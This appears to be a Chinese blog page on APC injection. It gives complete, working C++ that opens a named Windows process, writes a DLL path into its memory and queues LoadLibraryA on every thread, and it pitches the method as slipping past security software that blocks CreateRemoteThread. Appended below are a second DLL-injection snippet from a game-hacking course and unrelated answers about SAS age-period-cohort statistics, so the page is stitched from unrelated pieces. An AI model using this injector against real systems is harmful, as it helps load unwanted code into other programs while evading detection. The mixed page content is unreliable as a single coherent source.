安全之路 —— 利用APC队列实现跨进程注入

简介

在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御。所以今天笔者要介绍的是一种相对比较“另类”的方式,被称作**“APC注入”。APC(Asynchronous Procedure Call),全称为异步过程调用**,指的是函数在特定线程中被异步执行。简单地说,在Windows操作系统中,每一个进程的每一个线程都有自己的APC队列,可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于可通知状态才会执行,也就是说,只有当一个线程内部调用WaitForSingleObject, WaitForMultiObjects, SleepEx等函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出(FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态,所以APC注入对于这类程序没有明显效果。

代码样例

  • DLL程序代码

//
// FileName : HelloWorldDll.cpp
// Creator : PeterZheng
// Date : 2018/11/02 11:10
// Comment : HelloWorld Test DLL ^_^
//


#include <iostream>
#include <Windows.h>

using namespace std;

BOOL WINAPI DllMain(
	_In_ HINSTANCE hinstDLL,
	_In_ DWORD     fdwReason,
	_In_ LPVOID    lpvReserved
)
{
	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return TRUE;
}
  • 注入程序代码

//
// FileName : APCInject.cpp
// Creator : PeterZheng
// Date : 2018/12/17 16:27
// Comment : APC Injector
//


#pragma once

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>

using namespace std;

// 根据进程名字获取进程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
	HANDLE hSnapProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapProcess == NULL)
	{
		printf("[*] Create Process Snap Error!\n");
		return FALSE;
	}
	PROCESSENTRY32 pe32 = { 0 };
	RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);
	BOOL bRet = Process32First(hSnapProcess, &pe32);
	while (bRet)
	{
		if (_stricmp(pe32.szExeFile, szProcessName) == 0)
		{
			dwPid = pe32.th32ProcessID;
			return TRUE;
		}
		bRet = Process32Next(hSnapProcess, &pe32);
	}
	return FALSE;
}

// 获取对应进程Id的所有线程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
	DWORD dwThreadIdListLength = 0;
	DWORD dwThreadIdListMaxCount = 2000;
	LPDWORD pThreadIdList = NULL;
	pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pThreadIdList == NULL)
	{
		printf("[*] Create Thread Id Space Error!\n");
		return FALSE;
	}
	RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
	THREADENTRY32 te32 = { 0 };
	RtlZeroMemory(&te32, sizeof(te32));
	te32.dwSize = sizeof(te32);
	HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	if (hThreadSnapshot == NULL)
	{
		printf("[*] Create Thread Snap Error!\n");
		return FALSE;
	}
	BOOL bRet = Thread32First(hThreadSnapshot, &te32);
	while (bRet)
	{
		if (te32.th32OwnerProcessID == dwPid)
		{
			if (dwThreadIdListLength >= dwThreadIdListMaxCount)
			{
				break;
			}
			pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
		}
		bRet = Thread32Next(hThreadSnapshot, &te32);
	}
	*pThreadIdListLength = dwThreadIdListLength;
	*ppThreadIdList = pThreadIdList;
	return TRUE;
}

// 主函数
int main(int argc, char* argv[])
{
	if (argc != 3)
	{
		printf("[*] Format Error!  \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
		return 0;
	}
	LPSTR szExeName = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	LPSTR szDllPath = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	RtlZeroMemory(szExeName, 100);
	RtlZeroMemory(szDllPath, 100);
	StringCchCopy(szExeName, 100, argv[1]);
	StringCchCopy(szDllPath, 100, argv[2]);
	DWORD dwPid = 0;
	BOOL bRet = GetProcessIdByName(szExeName, dwPid);
	if (!bRet)
	{
		printf("[*] Get Process Id Error!\n");
		return 0;
	}
	LPDWORD pThreadIdList = NULL;
	DWORD dwThreadIdListLength = 0;
	bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
	if (!bRet)
	{
		printf("[*] Get All Thread Id Error!\n");
		return 0;
	}
	// 打开进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (hProcess == NULL)
	{
		printf("[*] Open Process Error!\n");
		return 0;
	}
	DWORD dwDllPathLen = strlen(szDllPath) + 1;
	// 申请目标进程空间,用于存储DLL路径
	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpBaseAddress == NULL)
	{
		printf("[*] VirtualAllocEx Error!\n");
		return 0;
	}
	SIZE_T dwWriten = 0;
	// 把DLL路径字符串写入目标进程
	WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
	if (dwWriten != dwDllPathLen)
	{
		printf("[*] Write Process Memory Error!\n");
		return 0;
	}
	LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (pLoadLibraryFunc == NULL)
	{
		printf("[*] Get Func Address Error!\n");
		return 0;
	}
	HANDLE hThread = NULL;
	// 倒序插入线程APC,可避免出现在插入时进程崩溃的现象
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
		HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
			CloseHandle(hThread);
			hThread = NULL;
		}
	}

	// DLL路径分割,方便输出
	LPCSTR szPathSign = "\\";
	LPSTR p = NULL;
	LPSTR next_token = NULL;
	p = strtok_s(szDllPath, szPathSign, &next_token);
	while (p)
	{
		StringCchCopy(szDllPath, 100, p);
		p = strtok_s(NULL, szPathSign, &next_token);
	}
	printf("[*] APC Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);

	if (hProcess)
	{
		CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadIdList)
	{
		VirtualFree(pThreadIdList, 0, MEM_RELEASE);
		pThreadIdList = NULL;
	}
	VirtualFree(szDllPath, 0, MEM_RELEASE);
	VirtualFree(szExeName, 0, MEM_RELEASE);
	ExitProcess(0);
	return 0;
}

运行截图

APC注入运行截图

参考资料

  1. 《Windows黑客编程技术详解》【甘迪文 著】
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
//官方网站:www.feiyuol.com //郁金香灬老师 //QQ 150330575 //个人网站:www.yjxsoft.com 进程调用CALL 进程调用带多个的参数CALL // myInject_dll.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include #include"RWA.h" //PVOID 进程分配内存(WORD nSize ); //1、获取进程句柄 //2、读写 分配内存 创建线程 //3、进程分配内存 void mycall() { PVOID p1=进程分配内存(1000); printf("分配的内存地址=%p\n",p1); printf("按回车键 释放内存\n"); getchar(); 进程释放内存(p1,1000); printf("已经 释放内存\n"); } LPTHREAD_START_ROUTINE a; BOOL 进程调用CALL(PVOID pcall地址,PVOID plst参数 ); //LoadLibraryA(dll名字指针) //MessageBeep(1) void Test远程调用MessageBeep() { 进程调用CALL(MessageBeep,(PVOID)0x12768); } //注入my022MFC.dll到目标进程 void Test3() { char szDllName[]="my022MFC.dll"; //全路径 // char szDllName[]="C:\\Users\\yjxsoft\\Documents\\visual studio 2010\\Projects\\my022\\Debug\\my022MFC.dll"; PVOID p1=进程分配内存(1000); printf("分配的内存地址=%p\n",p1); WN((DWORD)p1,szDllName,sizeof(szDllName));//WriteProcessMemory /*进程调用CALL(LoadLibraryA,(PVOID)szDllName);*/ 进程调用CALL(LoadLibraryA,(PVOID)p1); } void Test4() { // char szDllName[]="my022MFC.dll"; //全路径 char szDllName[]="E:\\1905\\代码\\my022-24\\Debug\\my022MFC.dll"; PVOID p1=进程分配内存(1000); printf("分配的内存地址=%p\n",p1); WN((DWORD)p1,szDllName,sizeof(szDllName));//WriteProcessMemory /*进程调用CALL(LoadLibraryA,(PVOID)szDllName);*/ 进程调用CALL(LoadLibraryA,(PVOID)p1); } int _tmain(int argc, _TCHAR* argv[]) { //mycall(); Test3(); Test4(); return 0; } //作业 //1、练习进程注入DLL //2、进程分配的内存内存 使用完后 用VirtualFreeEx释放掉 //3、进程句柄使用完后用CloseHandle释放句柄资源
### 回答1: SAS(统计分析系统)是一种广泛应用于数据分析和统计建模的软件工具。实现APC(age-period-cohort)年龄时期队列涉及对数据的整理、分析和建模。 APC年龄时期队列分析是一种研究人口或事件在不同年龄、不同时期和不同历史时期的影响的方法。在SAS中,可以使用多种函数和过程来实现这一方法。 首先,需要对所需的数据进行整理和准备。将数据按年龄、时期和队列进行分类,并保证每个分类中的数据是完整和准确的。这可以通过SAS的数据整理和处理函数来实现,例如DATA步骤和SQL查询。 接下来,使用SAS中的统计分析过程来计算和分析APC年龄时期队列。可以使用PROC REG和PROC GLM来进行回归分析,查看年龄、时期和队列对所研究事件的影响。也可以使用PROC GENMOD来进行广义线性模型分析,例如对二项式数据的分析。 在分析过程中,还可以使用SAS的可视化工具来展示结果和趋势。例如,可以使用PROC SGPLOT生成图表和图形,清晰地展示年龄、时期和队列的关系和变化趋势。 最后,根据对APC年龄时期队列的分析结果,可以对特定问题或现象作出解释和预测。这将有助于了解人口或事件在不同年龄、时期和队列中的变化和发展规律,从而提供决策和干预的依据。 总而言之,通过SAS软件工具的数据整理、分析和建模功能,可以实现APC年龄时期队列的研究和分析。这将有助于深入了解和解释人口或事件在不同年龄、时期和队列中的变化和影响。 ### 回答2: SAS(统计分析系统)是一种功能强大的统计分析软件,可以用于实现多种统计分析方法和模型。要实现APC(年龄、时期、队列)模型,首先需要了解APC模型的基本概念和原理。 在APC模型中,年龄、时期和队列是指个体或群体的三个重要维度。年龄表示个体或群体的年龄水平,时期表示观察或研究的时间点或时间期间,队列则表示在特定时期出生的个体或群体。这三个维度综合起来,可以帮助我们分析和预测某种现象或变量在不同年龄、不同时期和不同队列中的变化。 为了使用SAS实现APC模型,可以遵循以下步骤: 1. 数据准备:将需要分析的数据导入SAS软件中,并确保数据格式正确,包括年龄、时期和队列等相关变量。 2. 数据探索和描述性分析:使用SAS的统计分析功能,对数据进行探索性分析,如描述统计、频率分析、数据可视化等,以了解数据的分布和特征。 3. APC模型建立:在SAS中,可以使用各种统计模型来建立APC模型,如线性回归模型、广义线性模型、混合效应模型等。根据具体研究目的和数据特点,选择适合的模型进行建模。 4. 模型拟合和评估:使用SAS的模型拟合功能,对建立的APC模型进行拟合,并评估模型的拟合效果和预测能力,如残差分析、拟合优度检验等。 5. 结果解释和报告:根据模型结果,解释模型中各个变量的影响,如年龄效应、时期效应、队列效应等,并根据需要生成相应的报告或图表。 总之,通过使用SAS统计分析软件,可以比较方便地实现APC年龄时期队列模型,从而深入分析和预测不同维度对某种现象的影响。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值